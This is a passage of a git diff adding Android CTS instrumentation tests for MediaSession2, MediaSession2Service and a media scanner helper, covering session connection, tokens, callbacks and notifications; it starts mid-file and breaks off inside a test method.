+        public void onScanCompleted(String path, Uri uri) {
+            Log.v("MediaScannerTest", "onScanCompleted for " + path + " to " + uri);
+            mediaPath = path;
+            if (uri != null) {
+                mediaUri = uri;
+            }
+        }
+
+        public void reset() {
+            mediaPath = null;
+            mediaUri = null;
+        }
+    }
+
+    static File getRawFile(Uri uri) throws Exception {
+        final String res = executeShellCommand(
+                "content query --uri " + uri
+                        + " --user " + getCurrentUser() + " --projection _data",
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+        final int i = res.indexOf("_data=");
+        if (i >= 0) {
+            return new File(res.substring(i + 6));
+        } else {
+            throw new FileNotFoundException("Failed to find _data for " + uri + "; found " + res);
+        }
+    }
+
+    static String executeShellCommand(String command) throws IOException {
+        return executeShellCommand(command,
+                InstrumentationRegistry.getInstrumentation().getUiAutomation());
+    }
+
+    static String executeShellCommand(String command, UiAutomation uiAutomation)
+            throws IOException {
+        ParcelFileDescriptor pfd = uiAutomation.executeShellCommand(command.toString());
+        BufferedReader br = null;
+        try (InputStream in = new FileInputStream(pfd.getFileDescriptor());) {
+            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String str = null;
+            StringBuilder out = new StringBuilder();
+            while ((str = br.readLine()) != null) {
+                out.append(str);
+            }
+            return out.toString();
+        } finally {
+            if (br != null) {
+                br.close();
+            }
+        }
+    }
+
+    private static int getCurrentUser() {
+        return android.os.Process.myUserHandle().getIdentifier();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2ServiceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2ServiceTest.java
new file mode 100644
index 0000000..d031b9e
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2ServiceTest.java
@@ -0,0 +1,445 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertNull;
+
+import android.app.Notification;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.media.MediaController2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2Service;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.media.cts.TestUtils;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2Service}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class MediaSession2ServiceTest {
+    private static final long TIMEOUT_MS = 3000L;
+    private static final long WAIT_TIME_FOR_NO_RESPONSE_MS = 500L;
+
+    private static HandlerExecutor sHandlerExecutor;
+    private final List<MediaController2> mControllers = new ArrayList<>();
+    private Context mContext;
+    private Session2Token mToken;
+
+    @BeforeClass
+    public static void setUpThread() {
+        synchronized (MediaSession2ServiceTest.class) {
+            if (sHandlerExecutor != null) {
+                return;
+            }
+            HandlerThread handlerThread = new HandlerThread("MediaSession2ServiceTest");
+            handlerThread.start();
+            sHandlerExecutor = new HandlerExecutor(handlerThread.getLooper());
+            StubMediaSession2Service.setHandlerExecutor(sHandlerExecutor);
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        synchronized (MediaSession2Test.class) {
+            if (sHandlerExecutor == null) {
+                return;
+            }
+            StubMediaSession2Service.setHandlerExecutor(null);
+            sHandlerExecutor.getLooper().quitSafely();
+            sHandlerExecutor = null;
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mToken = new Session2Token(mContext,
+                new ComponentName(mContext, StubMediaSession2Service.class));
+    }
+
+    @After
+    public void cleanUp() throws Exception {
+        for (MediaController2 controller : mControllers) {
+            controller.close();
+        }
+        mControllers.clear();
+
+        StubMediaSession2Service.setTestInjector(null);
+    }
+
+    /**
+     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
+     * is called when controller tries to connect, with the proper arguments.
+     */
+    @Test
+    public void testOnGetSessionIsCalled() throws InterruptedException {
+        final List<ControllerInfo> controllerInfoList = new ArrayList<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+            @Override
+            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                controllerInfoList.add(controllerInfo);
+                latch.countDown();
+                return null;
+            }
+        });
+        Bundle testHints = new Bundle();
+        testHints.putString("test_key", "test_value");
+        MediaController2 controller = new MediaController2.Builder(mContext, mToken)
+                .setConnectionHints(testHints)
+                .setControllerCallback(sHandlerExecutor,
+                        new MediaController2.ControllerCallback() {})
+                .build();
+        mControllers.add(controller);
+
+        // onGetSession() should be called.
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(controllerInfoList.get(0).getPackageName(), mContext.getPackageName());
+        assertTrue(TestUtils.equals(controllerInfoList.get(0).getConnectionHints(), testHints));
+    }
+
+    /**
+     * Tests whether the controller is connected to the session which is returned from
+     * {@link MediaSession2Service#onGetSession(ControllerInfo)}.
+     * Also checks whether the connection hints are properly passed to
+     * {@link MediaSession2.SessionCallback#onConnect(MediaSession2, ControllerInfo)}.
+     */
+    @Test
+    public void testOnGetSession_returnsSession() throws InterruptedException {
+        final List<ControllerInfo> controllerInfoList = new ArrayList<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        try (MediaSession2 testSession = new MediaSession2.Builder(mContext)
+                .setId("testOnGetSession_returnsSession")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public Session2CommandGroup onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (controller.getUid() == Process.myUid()) {
+                            controllerInfoList.add(controller);
+                            latch.countDown();
+                            return new Session2CommandGroup.Builder().build();
+                        }
+                        return null;
+                    }
+                }).build()) {
+
+            StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+                @Override
+                MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                    // Add fake call for preventing this from being missed by CTS coverage.
+                    super.onGetSession(controllerInfo);
+                    return testSession;
+                }
+            });
+
+            Bundle testHints = new Bundle();
+            testHints.putString("test_key", "test_value");
+            MediaController2 controller = new MediaController2.Builder(mContext, mToken)
+                    .setConnectionHints(testHints)
+                    .setControllerCallback(sHandlerExecutor,
+                            new MediaController2.ControllerCallback() {})
+                    .build();
+            mControllers.add(controller);
+
+            // MediaSession2.SessionCallback#onConnect() should be called.
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(controllerInfoList.get(0).getPackageName(), mContext.getPackageName());
+            assertTrue(TestUtils.equals(controllerInfoList.get(0).getConnectionHints(), testHints));
+
+            // The controller should be connected to the right session.
+            assertNotEquals(mToken, controller.getConnectedToken());
+            assertEquals(testSession.getToken(), controller.getConnectedToken());
+        }
+    }
+
+    /**
+     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
+     * can return different sessions for different controllers.
+     */
+    @Test
+    public void testOnGetSession_returnsDifferentSessions() throws InterruptedException {
+        final List<Session2Token> tokens = new ArrayList<>();
+        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+            @Override
+            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                MediaSession2 session = createMediaSession2(
+                        "testOnGetSession_returnsDifferentSessions" + System.currentTimeMillis());
+                tokens.add(session.getToken());
+                return session;
+            }
+        });
+
+        MediaController2 controller1 = createConnectedController(mToken);
+        MediaController2 controller2 = createConnectedController(mToken);
+
+        assertNotEquals(mToken, controller1.getConnectedToken());
+        assertNotEquals(mToken, controller2.getConnectedToken());
+
+        assertNotEquals(controller1.getConnectedToken(),
+                controller2.getConnectedToken());
+        assertEquals(2, tokens.size());
+        assertEquals(tokens.get(0), controller1.getConnectedToken());
+        assertEquals(tokens.get(1), controller2.getConnectedToken());
+    }
+
+    /**
+     * Tests whether {@link MediaSession2Service#onGetSession(ControllerInfo)}
+     * can reject incoming connection by returning null.
+     */
+    @Test
+    public void testOnGetSession_rejectsConnection() throws InterruptedException {
+        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+            @Override
+            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                return null;
+            }
+        });
+        final CountDownLatch latch = new CountDownLatch(1);
+        MediaController2 controller = new MediaController2.Builder(mContext, mToken)
+                .setControllerCallback(sHandlerExecutor, new MediaController2.ControllerCallback() {
+                    @Override
+                    public void onDisconnected(MediaController2 controller) {
+                        latch.countDown();
+                    }
+                })
+                .build();
+
+        // MediaController2.ControllerCallback#onDisconnected() should be called.
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertNull(controller.getConnectedToken());
+    }
+
+    @Test
+    public void testAllControllersDisconnected_oneSession() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaSession2 testSession =
+                createMediaSession2("testAllControllersDisconnected_oneSession");
+
+        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+            @Override
+            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                return testSession;
+            }
+
+            @Override
+            void onServiceDestroyed() {
+                latch.countDown();
+            }
+        });
+        MediaController2 controller1 = createConnectedController(mToken);
+        MediaController2 controller2 = createConnectedController(mToken);
+
+        controller1.close();
+        assertFalse(latch.await(WAIT_TIME_FOR_NO_RESPONSE_MS, TimeUnit.MILLISECONDS));
+
+        // Service should be closed only when all controllers are closed.
+        controller2.close();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testAllControllersDisconnected_multipleSessions() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        StubMediaSession2Service.setTestInjector(new StubMediaSession2Service.TestInjector() {
+            @Override
+            MediaSession2 onGetSession(ControllerInfo controllerInfo) {
+                return createMediaSession2("testAllControllersDisconnected_multipleSession"
+                        + System.currentTimeMillis());
+            }
+
+            @Override
+            void onServiceDestroyed() {
+                latch.countDown();
+            }
+        });
+
+        MediaController2 controller1 = createConnectedController(mToken);
+        MediaController2 controller2 = createConnectedController(mToken);
+
+        controller1.close();
+        assertFalse(latch.await(WAIT_TIME_FOR_NO_RESPONSE_MS, TimeUnit.MILLISECONDS));
+
+        // Service should be closed only when all controllers are closed.
+        controller2.close();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetSessions() throws InterruptedException {
+        MediaController2 controller = createConnectedController(mToken);
+        MediaSession2Service service = StubMediaSession2Service.getInstance();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setId("testGetSessions")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback())
+                .build()) {
+            service.addSession(session);
+            List<MediaSession2> sessions = service.getSessions();
+            assertTrue(sessions.contains(session));
+            assertEquals(2, sessions.size());
+
+            service.removeSession(session);
+            sessions = service.getSessions();
+            assertFalse(sessions.contains(session));
+        }
+    }
+
+    @Test
+    public void testAddSessions_removedWhenClose() throws InterruptedException {
+        MediaController2 controller = createConnectedController(mToken);
+        MediaSession2Service service = StubMediaSession2Service.getInstance();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setId("testAddSessions_removedWhenClose")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback())
+                .build()) {
+            service.addSession(session);
+            List<MediaSession2> sessions = service.getSessions();
+            assertTrue(sessions.contains(session));
+            assertEquals(2, sessions.size());
+
+            session.close();
+            sessions = service.getSessions();
+            assertFalse(sessions.contains(session));
+        }
+    }
+
+    @Test
+    public void testOnUpdateNotification() throws InterruptedException {
+        MediaController2 controller = createConnectedController(mToken);
+        MediaSession2Service service = StubMediaSession2Service.getInstance();
+        MediaSession2 testSession = service.getSessions().get(0);
+        CountDownLatch latch = new CountDownLatch(2);
+
+        StubMediaSession2Service.setTestInjector(
+                new StubMediaSession2Service.TestInjector() {
+                    @Override
+                    MediaSession2Service.MediaNotification onUpdateNotification(
+                            MediaSession2 session) {
+                        assertEquals(testSession, session);
+                        switch ((int) latch.getCount()) {
+                            case 2:
+
+                                break;
+                            case 1:
+                        }
+                        latch.countDown();
+                        return super.onUpdateNotification(session);
+                    }
+                });
+
+        testSession.setPlaybackActive(true);
+        testSession.setPlaybackActive(false);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Add fake call for preventing this from being missed by CTS coverage.
+        if (StubMediaSession2Service.getInstance() != null) {
+            ((MediaSession2Service) StubMediaSession2Service.getInstance())
+                    .onUpdateNotification(null);
+        }
+    }
+
+    @Test
+    public void testOnBind() throws Exception {
+        MediaController2 controller1 = createConnectedController(mToken);
+        MediaSession2Service service = StubMediaSession2Service.getInstance();
+
+        Intent serviceIntent = new Intent(MediaSession2Service.SERVICE_INTERFACE);
+        assertNotNull(service.onBind(serviceIntent));
+
+        Intent wrongIntent = new Intent("wrongIntent");
+        assertNull(service.onBind(wrongIntent));
+    }
+
+    @Test
+    public void testMediaNotification() {
+        final int testId = 1001;
+        final String testChannelId = "channelId";
+        final Notification testNotification =
+                new Notification.Builder(mContext, testChannelId).build();
+
+        MediaSession2Service.MediaNotification notification =
+                new MediaSession2Service.MediaNotification(testId, testNotification);
+        assertEquals(testId, notification.getNotificationId());
+        assertSame(testNotification, notification.getNotification());
+    }
+
+    private MediaController2 createConnectedController(Session2Token token)
+            throws InterruptedException {
+        CountDownLatch latch = new CountDownLatch(1);
+        MediaController2 controller = new MediaController2.Builder(mContext, token)
+                .setControllerCallback(sHandlerExecutor, new MediaController2.ControllerCallback() {
+                    @Override
+                    public void onConnected(MediaController2 controller,
+                            Session2CommandGroup allowedCommands) {
+                        latch.countDown();
+                        super.onConnected(controller, allowedCommands);
+                    }
+                }).build();
+
+        mControllers.add(controller);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        return controller;
+    }
+
+    private MediaSession2 createMediaSession2(String id) {
+        return new MediaSession2.Builder(mContext)
+                .setId(id)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback())
+                .build();
+    }
+
+    private static class SessionCallback extends MediaSession2.SessionCallback {
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                ControllerInfo controller) {
+            if (controller.getUid() == Process.myUid()) {
+                return new Session2CommandGroup.Builder().build();
+            }
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2Test.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2Test.java
new file mode 100644
index 0000000..85cfa46
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSession2Test.java
@@ -0,0 +1,833 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.media.MediaController2;
+import android.media.MediaMetadata;
+import android.media.MediaSession2;
+import android.media.Session2Command;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.media.cts.TestUtils;
+import android.media.session.MediaSessionManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.Process;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Tests {@link android.media.MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class MediaSession2Test {
+    private static final long WAIT_TIME_MS = 300L;
+
+    private static final String TEST_KEY = "test_key";
+    private static final String TEST_VALUE = "test_value";
+
+    static Handler sHandler;
+    static Executor sHandlerExecutor;
+    final static Object sTestLock = new Object();
+
+    private Context mContext;
+
+    @BeforeClass
+    public static void setUpThread() {
+        synchronized (MediaSession2Test.class) {
+            if (sHandler != null) {
+                return;
+            }
+            HandlerThread handlerThread = new HandlerThread("MediaSessionTestBase");
+            handlerThread.start();
+            sHandler = new Handler(handlerThread.getLooper());
+            sHandlerExecutor = (runnable) -> {
+                Handler handler;
+                synchronized (MediaSession2Test.class) {
+                    handler = sHandler;
+                }
+                if (handler != null) {
+                    handler.post(() -> {
+                        synchronized (sTestLock) {
+                            runnable.run();
+                        }
+                    });
+                }
+            };
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        synchronized (MediaSession2Test.class) {
+            if (sHandler == null) {
+                return;
+            }
+            sHandler.getLooper().quitSafely();
+            sHandler = null;
+            sHandlerExecutor = null;
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
+    @Test
+    public void testBuilder_setIllegalArguments() {
+        MediaSession2.Builder builder;
+        try {
+            builder = new MediaSession2.Builder(null);
+            fail("null context shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+        try {
+            builder = new MediaSession2.Builder(mContext);
+            builder.setId(null);
+            fail("null id shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
+            // expected. pass-through
+        }
+    }
+
+    @Test
+    public void testBuilder_setSessionActivity() {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        PendingIntent pendingIntent = PendingIntent.getActivity(
+                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionActivity(pendingIntent)
+                .build()) {
+            // Note: The pendingIntent is set but is never used inside of MediaSession2.
+            // TODO: If getter is created, put assertEquals() here.
+        }
+    }
+
+    @Test
+    public void testBuilder_createSessionWithoutId() {
+        try (MediaSession2 session = new MediaSession2.Builder(mContext).build()) {
+            assertEquals("", session.getId());
+        }
+    }
+
+    @Test
+    public void testBuilder_createSessionWithDupId() {
+        final String dupSessionId = "TEST_SESSION_DUP_ID";
+        MediaSession2.Builder builder = new MediaSession2.Builder(mContext).setId(dupSessionId);
+        try (
+            MediaSession2 session1 = builder.build();
+            MediaSession2 session2 = builder.build()
+        ) {
+            fail("Duplicated id shouldn't be allowed");
+        } catch (IllegalStateException e) {
+            // expected. pass-through
+        }
+    }
+
+    @Test
+    public void testBuilder_setExtras_withFrameworkParcelable() {
+        final String testKey = "test_key";
+        final Session2Token frameworkParcelable = new Session2Token(mContext,
+                new ComponentName(mContext, this.getClass()));
+
+        Bundle extras = new Bundle();
+        extras.putParcelable(testKey, frameworkParcelable);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setExtras(extras)
+                .build()) {
+            Bundle extrasOut = session.getToken().getExtras();
+            assertNotNull(extrasOut);
+            assertTrue(extrasOut.containsKey(testKey));
+            assertEquals(frameworkParcelable, extrasOut.getParcelable(testKey));
+        }
+    }
+
+    @Test
+    public void testBuilder_setExtras_withCustomParcelable() {
+        final String testKey = "test_key";
+        final CustomParcelable customParcelable = new CustomParcelable(1);
+
+        Bundle extras = new Bundle();
+        extras.putParcelable(testKey, customParcelable);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setExtras(extras)
+                .build()) {
+            fail("Custom Parcelables shouldn't be accepted!");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testSession2Token() {
+        final Bundle extras = new Bundle();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setExtras(extras)
+                .build()) {
+            Session2Token token = session.getToken();
+            assertEquals(Process.myUid(), token.getUid());
+            assertEquals(mContext.getPackageName(), token.getPackageName());
+            assertNull(token.getServiceName());
+            assertEquals(Session2Token.TYPE_SESSION, token.getType());
+            assertEquals(0, token.describeContents());
+            assertTrue(token.getExtras().isEmpty());
+        }
+    }
+
+    @Test
+    public void testSession2Token_extrasNotSet() {
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .build()) {
+            Session2Token token = session.getToken();
+            assertTrue(token.getExtras().isEmpty());
+        }
+    }
+
+    @Test
+    public void testGetConnectedControllers_newController() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback callback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, callback)
+                            .build();
+            assertTrue(callback.awaitOnConnected(WAIT_TIME_MS));
+
+            List<MediaSession2.ControllerInfo> controllers = session.getConnectedControllers();
+            boolean found = false;
+            for (MediaSession2.ControllerInfo controllerInfo : controllers) {
+                if (Objects.equals(sessionCallback.mController, controllerInfo)) {
+                    assertEquals(Process.myUid(), controllerInfo.getUid());
+                    found = true;
+                    break;
+                }
+            }
+            assertTrue(found);
+        }
+    }
+
+    @Test
+    public void testGetConnectedControllers_closedController() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback callback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, callback)
+                            .build();
+            assertTrue(callback.awaitOnConnected(WAIT_TIME_MS));
+            controller.close();
+            assertTrue(sessionCallback.awaitOnDisconnect(WAIT_TIME_MS));
+
+            List<MediaSession2.ControllerInfo> controllers = session.getConnectedControllers();
+            for (MediaSession2.ControllerInfo controllerInfo : controllers) {
+                assertNotEquals(sessionCallback.mController, controllerInfo);
+            }
+        }
+    }
+
+    @Test
+    public void testSession2Token_writeToParcel() {
+        final Bundle extras = new Bundle();
+        extras.putString(TEST_KEY, TEST_VALUE);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setExtras(extras)
+                .build()) {
+            Session2Token token = session.getToken();
+
+            Parcel parcel = Parcel.obtain();
+            token.writeToParcel(parcel, 0 /* flags */);
+            parcel.setDataPosition(0);
+            Session2Token tokenOut = Session2Token.CREATOR.createFromParcel(parcel);
+            parcel.recycle();
+
+            assertEquals(Process.myUid(), tokenOut.getUid());
+            assertEquals(mContext.getPackageName(), tokenOut.getPackageName());
+            assertNull(tokenOut.getServiceName());
+            assertEquals(Session2Token.TYPE_SESSION, tokenOut.getType());
+
+            Bundle extrasOut = tokenOut.getExtras();
+            assertNotNull(extrasOut);
+            assertEquals(TEST_VALUE, extrasOut.getString(TEST_KEY));
+        }
+    }
+
+    @Test
+    public void testBroadcastSessionCommand() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback();
+
+        String commandStr = "test_command";
+        Session2Command command = new Session2Command(commandStr, null);
+
+        int resultCode = 100;
+        Session2Command.Result commandResult = new Session2Command.Result(resultCode, null);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+
+            // 1. Create two controllers with each latch.
+            final CountDownLatch latch1 = new CountDownLatch(1);
+            Controller2Callback callback1 = new Controller2Callback() {
+                @Override
+                public Session2Command.Result onSessionCommand(MediaController2 controller,
+                        Session2Command command, Bundle args) {
+                    if (commandStr.equals(command.getCustomAction())
+                            && command.getCustomExtras() == null) {
+                        latch1.countDown();
+                    }
+                    return commandResult;
+                }
+            };
+
+            MediaController2 controller1 =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, callback1)
+                            .build();
+
+            final CountDownLatch latch2 = new CountDownLatch(1);
+            Controller2Callback callback2 = new Controller2Callback() {
+                @Override
+                public Session2Command.Result onSessionCommand(MediaController2 controller,
+                        Session2Command command, Bundle args) {
+                    if (commandStr.equals(command.getCustomAction())
+                            && command.getCustomExtras() == null) {
+                        latch2.countDown();
+                    }
+                    return commandResult;
+                }
+            };
+            MediaController2 controller2 =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, callback2)
+                            .build();
+
+            // 2. Wait until all the controllers are connected.
+            assertTrue(callback1.awaitOnConnected(WAIT_TIME_MS));
+            assertTrue(callback2.awaitOnConnected(WAIT_TIME_MS));
+
+            // 3. Call MediaSession2#broadcastSessionCommand() and check both controller's
+            // onSessionCommand is called.
+            session.broadcastSessionCommand(command, null);
+            assertTrue(latch1.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            assertTrue(latch2.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testCallback_onConnect_onDisconnect() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            // Test onConnect
+            Controller2Callback controllerCallback = new Controller2Callback();
+            Bundle testConnectionHints = new Bundle();
+            testConnectionHints.putString("test_key", "test_value");
+
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setConnectionHints(testConnectionHints)
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
+            assertEquals(session, sessionCallback.mSession);
+            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
+
+            // Check whether the controllerInfo is the right one.
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            MediaSessionManager.RemoteUserInfo remoteUserInfo = controllerInfo.getRemoteUserInfo();
+            assertEquals(Process.myPid(), remoteUserInfo.getPid());
+            assertEquals(Process.myUid(), remoteUserInfo.getUid());
+            assertEquals(mContext.getPackageName(), remoteUserInfo.getPackageName());
+            assertTrue(TestUtils.equals(testConnectionHints, controllerInfo.getConnectionHints()));
+
+            // Test onDisconnect
+            controller.close();
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+            assertTrue(sessionCallback.awaitOnDisconnect(WAIT_TIME_MS));
+            assertEquals(session, sessionCallback.mSession);
+            assertEquals(controllerInfo, sessionCallback.mController);
+        }
+    }
+
+    @Test
+    public void testCallback_onPostConnect_connected() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback controllerCallback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+            assertTrue(sessionCallback.awaitOnPostConnect(WAIT_TIME_MS));
+            assertEquals(Process.myUid(), sessionCallback.mController.getUid());
+        }
+    }
+
+    @Test
+    public void testCallback_onPostConnect_rejected() throws Exception {
+        Session2Callback sessionCallback = new Session2Callback() {
+            @Override
+            public Session2CommandGroup onConnect(MediaSession2 session,
+                    MediaSession2.ControllerInfo controller) {
+                // Reject all
+                return null;
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback callback = new Controller2Callback();
+
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, callback)
+                            .build();
+            assertFalse(sessionCallback.awaitOnPostConnect(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCallback_onSessionCommand() {
+        Session2Callback sessionCallback = new Session2Callback();
+
